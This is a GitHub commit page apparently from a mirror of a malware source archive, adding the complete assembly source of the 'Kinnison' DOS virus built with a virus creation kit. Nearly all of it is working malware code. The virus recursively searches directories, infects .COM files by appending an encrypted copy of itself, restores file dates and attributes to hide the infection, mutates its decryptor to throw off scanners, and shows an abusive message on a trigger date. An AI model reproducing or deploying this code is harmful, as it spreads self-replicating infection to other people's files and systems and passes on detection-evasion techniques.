mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,337 @@
|
||||
; KINNISON.ASM -- Sam Kinnison virus
|
||||
; Created by Nowhere Man's Virus Creation Labratory v0.75
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 0
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
flag: mov ah,0
|
||||
nop
|
||||
nop
|
||||
jmp start ;Would be at start of victim
|
||||
nop
|
||||
nop
|
||||
start: call find_offset ; Push IP on to stack, advance IP
|
||||
find_offset:pop di ; DI holds old IP
|
||||
sub di,3 ; Adjust for length of CALL
|
||||
lea si,[di + start_of_code - start] ; SI points to code
|
||||
call encrypt_decrypt ; Decrypt the code
|
||||
|
||||
start_of_code label near
|
||||
|
||||
push di ; Save DI
|
||||
mov si,offset flag ; SI points to flag bytes
|
||||
lea di,[di + new_jump - start] ;DI points 2 start of jmp
|
||||
movsw ; Transfer two bytes
|
||||
movsw ; Transfer two bytes
|
||||
pop di ; Restore DI
|
||||
push di ; And save it for later
|
||||
lea si,[di + buffer - start]; SI points to old start
|
||||
mov di,0100h ; DI points to start of code
|
||||
movsw ; Transfer two bytes
|
||||
movsw ; Transfer two bytes
|
||||
movsw ; Transfer two bytes
|
||||
movsb ; Transfer final byte
|
||||
pop di ; Restore DI
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ;Allocate 128 bytes on stack
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ;Save old DTA address on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ;DX points to buffer on stack
|
||||
int 021h
|
||||
call get_day
|
||||
cmp ax,000Bh
|
||||
jne end00
|
||||
call get_weekday
|
||||
cmp ax,0005h
|
||||
jne end00
|
||||
mov cx,0003h
|
||||
call beep
|
||||
end00: xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
test dx,0001h
|
||||
jne no_infection
|
||||
call search_files
|
||||
no_infection:
|
||||
call get_day
|
||||
cmp ax,000Bh
|
||||
jne end01
|
||||
call get_weekday
|
||||
cmp ax,0005h
|
||||
jne end01
|
||||
lea si,[di + data00 - start] ; SI points to data
|
||||
call display_string
|
||||
end01: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ;SI points to 64-byte buffer
|
||||
int 021h
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root - start] ;DX points to root directory
|
||||
int 021h
|
||||
call traverse ; Start the traversal
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ;Allocate 128 bytes on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
mov dx,offset all_files ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
call traverse ; Recursively call ourself
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir - start]; DX points to parent dir
|
||||
int 021h
|
||||
another_dir:
|
||||
mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask - start] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching:
|
||||
mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ;Allocate 128 bytes on stack
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file:
|
||||
int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ;DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding:
|
||||
mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function,r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
mov ah,03Fh ;DOS read from file function
|
||||
mov cx,7 ; CX holds bytes to read (7)
|
||||
lea dx,[di + buffer - start]; DX points to buffer
|
||||
int 021h
|
||||
push si ;Save DTA address before compare
|
||||
mov byte ptr [di + set_carry - start],0 ;Assume we'll fail
|
||||
lea si,[di + buffer - start]; SI points to comparison
|
||||
push di ; Save virus offset
|
||||
lea di,[di + new_jump - start] ; DI points to virus flg
|
||||
mov cx,4 ; CX holds number of bytes
|
||||
rep cmpsb ; Compare the first
|
||||
pop di ; Restore DI
|
||||
je close_it_up ; If equal then close up
|
||||
mov byte ptr [di + set_carry - start],1 ; Success --
|
||||
cwd ; Zero CX _ Zero bytes from
|
||||
mov cx,dx ; Zero DX /
|
||||
mov ax,04200h ; DOS file seek function,
|
||||
int 021h
|
||||
mov ax,04202h ; DOS file seek function,EOF
|
||||
cwd ; Zero DX _ Zero bytes from
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
sub ax,7 ; Prepare for JMP
|
||||
mov word ptr [di + new_jump + 5 - start],ax ; Construct
|
||||
call encrypt_code ; Make an encrypted copy of
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,finish - start ; CX holds virus length
|
||||
lea dx,[di + finish - start] ;DX points to encrypted copy
|
||||
int 021h
|
||||
cwd ; Zero DX _ Zero bytes from
|
||||
mov cx,dx ; Zero CX /
|
||||
mov ax,04200h ; DOS file seek function,
|
||||
int 021h
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,7 ; CX holds bytes to write (7
|
||||
lea dx,[di + new_jump - start] ; DX points to the jump
|
||||
int 021h
|
||||
close_it_up:
|
||||
pop si ; Restore DTA address
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attributes fu
|
||||
xor ch,ch ; Clear CH for file attribut
|
||||
mov cl,[si + 015h] ; CX holds file's old attrib
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry
|
||||
ret ; Return to caller
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test
|
||||
new_jump db 4 dup (?),0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
beep proc near
|
||||
jcxz beep_end ; Exit if there are no
|
||||
mov ax,0E07h ; BIOS display char.BELL
|
||||
beep_loop: int 010h ; Beep
|
||||
loop beep_loop ; Beep until --CX = 0
|
||||
beep_end: ret ; Return to caller
|
||||
beep endp
|
||||
display_string proc near
|
||||
mov ah,0Eh ; BIOS display char. fun
|
||||
display_loop: lodsb ; Load the next char. in
|
||||
or al,al ; Is the character a nul
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend: ret ; Return to caller
|
||||
display_string endp
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
get_weekday proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_weekday endp
|
||||
data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
|
||||
vcl_marker db "[VCL]",0 ; VCL creation
|
||||
note db "Dedicated to the memory of"
|
||||
db " Sam Kinnison 1954-1992",0
|
||||
db "[Kinnison]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
encrypt_code proc near
|
||||
push bx ; Save BX
|
||||
push di ; Save DI
|
||||
lea si,[di + encrypt_decrypt - start] ; SI points
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
or dx,1 ; Insure we never get 0
|
||||
mov word ptr [si + 5],dx ; Low word of timer is n
|
||||
alter_flag: mov al,0 ; AL holds alteration fl
|
||||
inc byte ptr [di + (alter_flag + 1) - start] ; Togg
|
||||
test al,1 ; Is bit one set?
|
||||
jne check_nop ; If not then don't togg
|
||||
xor byte ptr [si],0110b ; Change all BPs in star
|
||||
xor byte ptr [si + 4],010b ; to BXs, and vice-versa
|
||||
xor byte ptr [si + 7],0110b ;
|
||||
|
||||
check_nop: test al,2 ; Is bit two set?
|
||||
jne do_encryption ; If not then don't togg
|
||||
mov ax,word ptr [si + 7] ; AX holds INC/NOP
|
||||
xchg ah,al ; Exchange position of I
|
||||
mov word ptr [si + 7],ax ; Put the word back
|
||||
|
||||
do_encryption: mov si,di ; SI points to start of
|
||||
lea di,[di + finish - start] ; DI points past
|
||||
mov cx,(finish - start) / 2 ; CX holds words to tran
|
||||
rep movsw ; Copy the code
|
||||
pop di ; Restore DI
|
||||
lea si,[di + (finish + (start_of_code - start)) - start]
|
||||
; SI points to code to encrypt
|
||||
call encrypt_decrypt ; Encrypt the code
|
||||
pop bx ; Restore BX
|
||||
ret ; Return to caller
|
||||
encrypt_code endp
|
||||
|
||||
even ; Must be on an even bou
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov bp,end_of_code - start_of_code - 2 ; BP holds
|
||||
xor_loop: db 081h,032h,00h,00h ; XOR a word with the ke
|
||||
dec bp ; Do the next byte
|
||||
nop ; Used to throw off dete
|
||||
jne xor_loop ; Repeat until we're don
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
Reference in New Issue
Block a user